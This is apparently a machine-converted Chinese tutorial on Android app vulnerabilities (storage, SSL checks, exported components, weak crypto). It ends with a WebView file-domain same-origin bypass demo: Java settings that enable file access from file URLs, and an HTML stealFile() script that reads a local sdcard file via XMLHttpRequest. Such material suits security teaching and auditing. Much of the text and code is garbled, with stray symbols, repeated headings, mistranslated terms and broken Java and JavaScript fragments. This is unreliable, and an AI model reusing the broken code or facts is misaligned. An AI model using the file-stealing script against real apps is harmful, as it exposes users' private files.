WebView File域同源策略繞過漏洞實例分析
基本知識Android架構
Kernel核心層
漏洞危害極大,通用性強
驅動由於多而雜,也可能存在不少漏洞Libaries系統運行庫層
#系統中間件形式提供的運作庫
包括libc、 WebKit、SQLite等等AndroidRunTime
Dalvik虛擬機器和核心庫- ##FrameWork應用框架層
提供一連串的服務和API的介面
- 活動管理器
- 內容提供者
- #檢視
- 資源管理器
- #通知管理員
- Application應用程式層
- 系統應用程式
主畫面Home、聯絡人Contact、電話Phone、瀏覽器Browser
- #其他應用
開發者使用應用程式框架層的API實作的程式
- Acitivity活動
- Service服務
- BroadcastRecviver廣播接收器
- ContentProvider內容提供者
- 概述
平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等
- 風險
很廣泛,可能涉及行動平台各服務
##舉例
iOS系統中,將密碼資料存放在本機檔案而沒有存放在金鑰鏈中,導致可以從偽加密的備份資料中讀取
Android系統中,Intent使用不當導致惡意使用者劫持修改intent的內容,以原始進程的身份權限執行任意動作不安全的資料儲存
不安全的通訊
典型漏洞及挖掘方法資料儲存漏洞
資料檔或目錄
明文儲存
MODE_PRIVATE
#明文儲存
#建立資料庫時沒有使用MODE_PRIVATE模式
建立設定檔時沒有使用MODE_PRIVATE模式,導致其他程式可以讀取設定檔
明文存儲,而root用戶可讀,導致敏感資料外洩
SharedPreferences
data/data/程式包名/shared_prefs/*.xml-
#SQLiteDatabases
data/data程式包名/database/*.db -
#InternalStorage
#data/data/程式報名/files/* ExternalStorage
/mnt/sdcard/*
#檢測方法- 瀏覽/data/data/套件名稱目錄下的各個檔案和目錄,檢查是否有others使用者可讀的檔案
-
挖掘方法 -
程式碼偵測 檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否為MODE_PRIVATE(0x0000)
-
##資料通訊漏洞
- 使用HTTP等明文協定將敏感資訊傳送至服務端
透過區域網路嗅探、惡意公用WIFI、惡意代理服務、DNS劫持等手段擷取明文通信,產生中間人攻擊
-
SSL憑證弱校驗 搜尋.method public checkServerTrusted
定位.method和end method-
檢查是否有return-void
同理檢查verify(String, SSLSession)的回傳值是否恆為True、X509HostnameVerifier的參數是否為ALLOW_ALLHOSTNAME_VERIFIER## #############開啟Fiddler的HTTPS解析功能,產生並匯出自簽名證書,安裝到手機中############開啟Fiddler代理,並允許遠端主機連接該代理###############APP中缺乏SSL憑證的校驗 ###客戶端中應該實作X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法## ##########憑證校驗失敗會導致異常,然後由應用程式對憑證校驗異常進行處理#############未對伺服器憑證校驗會導致TLS中間人攻擊 ###使用HttpsURLConnection時,實作自訂HostnameVerifier過程中未對主機名稱做驗證,則預設不檢查憑證網域名稱與網站名稱是否相符。或是設定HttpsURLConnection的HostnameVerifier時,將其設為ALLOW_ALL_HOSTNAME_VERIIER則接受所有網域.############攻擊方法########################攻擊方法########################攻擊方法########################攻擊方法################ 挖礦方法# ####################SSL憑證強校驗 ###可能透過Xp、Patch等方法繞過############
元件暴露漏洞
Android:exported是四大元件中都有的屬性,用來表示是否支援其他應用程式呼叫目前元件
如果有intent-filter,預設值為true;反之預設則為false
exported匯出元件的權限控制
-
-
activity暴露後被第三方調用,可能在沒有密碼的情況下登入/重設密碼
敏感資訊外洩
-
#recviver暴露後被第三方啟動,可能會查看到偵錯等信息中所包含的敏感資訊
#越權行為
權限程式透過呼叫高權限程式暴露的元件,執行高權限動作
- ##查看AndroidManifest.xml
- 弱加密漏洞
- 反編譯、root檢視等可以取得
- AES/DES弱加密
ECB模式容易受到分析或重播攻擊
主要包含三種漏洞:
編寫遍歷物件的網頁,如果存在getClass方法則存在遠端程式碼執行漏洞
fiddler的before腳本可以讓任意webview存取任意網頁時進行測試
Android4.2以後,透過addJavascriptInterface註解的方法可被網頁中的java方法呼叫。如果未加過濾則可能存在漏洞挖掘方法:
網域控制不嚴格
- #任意程式碼執行
- setAllowFileAccessFromFileURLs
#setAllowUniversalAccessFromFileURLs(導致遠端洩漏敏感資訊) 透過符號連結攻擊可以存取本機檔案:無論怎麼限制,js都能存取本檔案的。而透過延時執行和將目前檔案替換成指向指向其他檔案的軟連線就可以讀取到被符號連結所指向的檔案
WebView如果開啟了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有檔案、資料庫等敏感資訊外洩-
具有root權限的攻擊者可以讀取
##密碼明文儲存
當使用者選擇儲存在WebViEW中輸入的使用者名稱和密碼時,則會被明文儲存到app目錄下的data.db中 - 漏洞挖掘流程總結
- 靜態分析 快速偵測,取得分析重點目標
檢查AndroidManifest檔案
調試模式分析
- 對疑似風險進行驗證和危害評估
drozer 抓包分析資料及介面
反分析
加密破解以及對邏輯和程式碼的進一步分析 #-
#自動化輔助系統
###MobSF 包含前端web介面,############Marvin 包含前端web介面,部署麻煩############Inspeckage Xposed外掛##################今天我們就來講WebView 的漏洞##### ##[Java] 純文字檢視 複製程式碼######?######範例程式碼位址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。 ######或是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1#########程式碼如下程式碼主要區別在於這次載入的attack_file. html######public class MainActivity extends Activity { ####### private WebView webView; ###### private Uri mUri; ###### private Uri mUri; #### mUrl1 = "file:///android_asset/html/attack_file.html"; ###### //String mUrl2 = "file:///android_asset/html/test.html"; ###### @ Override ###### protected void onCreate(Bundle savedInstanceState) { ###### super.onCreate(savedInstanceState); webView = (WebView) findViewById(R.id.webview); ###webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override #View ## String message,JsResult result) {
# //此處必要的功能
return super.onJsAlert ## });
webView.loadUrl(mUrl1);
}
## 類別 JSInterface { public String onButtonClick(String text) {# public String onButtonClick(String.
runOnUiThread(new Runnable() {
@O. # Log.e("leehong2", "onButtonClick: text = " str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LTHlicationContext(), "onButtonClick: text }
# });
return " 此文字是從Java層傳回的。js text = " text;
}
public void onImageClick(String url, int width, int height) { width "高度=“高度;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@O. # Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();
}
# });
}
}
}
這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),表示可以透過javaScriptScript存取檔案檔案。
我們再看attack_file.html的程式碼:' functionstealFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){## xml.
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
腳本>